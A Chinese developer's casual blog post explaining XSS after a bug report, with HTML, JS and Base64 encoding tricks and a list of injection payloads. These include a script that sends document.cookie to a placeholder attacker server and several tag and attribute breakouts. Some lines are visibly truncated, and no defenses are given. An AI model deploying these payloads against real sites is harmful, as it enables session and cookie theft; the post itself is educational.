麻麻!有人攻击我!!!

2020-02-08  本文已影响0人  leeleeleelalala

前言:昨天收到老大投递的一个bug,说我们项目里面被检查出来有XSS漏洞。
纳尼?前天学习JWT的时候恰好扩展性的看了一下XSS和CSXF攻击,结果就收到bug,好吧,又有素材写文章啦,欧耶🙄。

首先XSS攻击是个啥?

百度百科爸爸说:XSS(Cross Site Scripting)攻击通常指的是通过利用网页开发时留下的漏洞,通过巧妙的方法注入恶意指令代码到网页,使用户加载并执行攻击者恶意制造的网页程序。这些恶意网页程序通常是JavaScript,但实际上也可以包括Java、 VBScript、ActiveX、 Flash 或者甚至是普通的HTML。攻击成功后,攻击者可能得到包括但不限于更高的权限(如执行一些操作)、私密网页内容、会话和cookie等各种内容。

简单来说:就是人家在你的页面上注入了一些恶意代码,从而获取你的网站的一些私密信息或者权限。(类似sql注入)

XSS种类

<script>$.ajax({type:"GET",url:"xss服务器的url",dataType: "json",data:{cookie:document.cookie},success: function () {},error : function(){}});</script>
//脚本被填充到会话气泡里面时,攻击脚本可以直接执行

2、一个表单里面有一个追加的逻辑,由文本框input和按钮组成,在点击确认追加按钮之后,输入框a的值被放到另外一个disable了的输入框b中,黑客同学在文本框里面输入这样的代码就可实现XSS攻击

"/><script>$.ajax({type:"GET",url:"xss服务器的url",dataType: "json",data:{cookie:document.cookie},success: function () {},error : function(){}});</script> <input id="aa
//我们知道数据是会被放到input标签里面的value值中去的,
//所以我们先用"把value属性给关闭掉,再用/>把input标签给关闭掉,
//在加上我们的攻击脚本,在加上<input id="aa去连接input的后半部分,
//通过把一个input拆成input+js攻击脚本+input的方式去实现我们的目标

在开始一番BB之前,让我们先来了解一些冷知识

html编码

常用的一般是:

十进制:&#60;&#62;
十六进制:&#x3c;&#x3e;
别名: &lt;&gt;&copy;&newLine;&colon;
具体的特殊符号别名编码对照参考这个表:https://www.jb51.net/onlineread/htmlchar.htm

注意:不同进制之间是可以混用的
例如下面的三句代码是可以等价的:

<img src onerror=&#97&#x6c&#x65&#x72&#x74&#x28&#x31&#41>
<img src onerror=&#97;&#x6c;&#x65;&#x72;&#x74;&#x28;&#x31;&#41;>
<img src onerror=alert(1)>
js编码
八进制                 \1\2                               斜杠加数字
十六进制               \x1\x6e                            斜杠x加数字
unicode               \u0061\u006c                       斜杠u加数字
url编码
encodeURI / decodeURI
encodeURIComponent / decodeURIComponent
escape / unescape
Base64编码
<a href=data:text/html;base64,amF2YXNjcmlwdDphbGVydCgxKTs=>bite me</a>
等价于
<a href='javascript:alert(1);'>bite me</a>
你有留意过一个html标签的组成么?
示例.jpg

了解完这些小知识之后你是不是猜到了什么呢,😊
是的,我的亲爱的朋友们,xss攻击就是利用这些小知识想尽一切办法把攻击代码注入到你的页面并让他执行。

举多一点例子来说

他可以在你的页面输入这些来执行他的攻击代码
文本域
比如我们在商品评论框里面输入这样的评论,提交之后,页面刷新展示我们的评论的时候就会执行我们的攻击代码

<img src onerror="攻击代码">  //因为没有地址,从而触发onerror事件
<svg onload="攻击代码"></svg>  //矢量便签 ,页面加载就自动执行
<script>"攻击代码"</script>  //直接执行
<script>$.ajax({type:"GET",url:"xss服务器的url",dataType: "jsuccess: function () {},error : function(){}});</script> //直接执行
<a href="javascript:alert("GG")">点击我试试</a>//或者设置成超大的透明,用户一点到就GG
<input onfocus="攻击代码" autofocus>  //这种需要你点一下,当你的光标离开文本框,autofocus会自动聚焦导致onfocus事件执行
</textarea><script>alert("GG")</script>//提前把文本域结束掉,使后面的javascript变成有效荷载

如果是文本框,也可以这样注入我们的攻击代码

/><script>alert("GG")</script>//提前把文本框结束掉,使后面的javascript变成有效荷载

有的服务器会对用户提交的数据做处理,但是也同样有应对方案

--><script>alert("GG")</script>//提前把注释结束掉(用--!>也可以),使后面的javascript变成有效荷载

总而言之

身为一个搬砖工具人,平时除了忙着护发改(xie)bug,还要和产品经理斗志斗勇,还得时刻准备接收测试小姐姐甩过来的缺陷,真的很少有精力考虑到那些来自外部的伤害,经过这一次,我觉得自己以后会多多注意,again,我们真的太难了。
哦,BB了这么多,我是不是没有讲怎么去防御XSS攻击,哈哈,留到下一篇吧,这篇字数凑够了😊。

上一篇 下一篇

猜你喜欢

热点阅读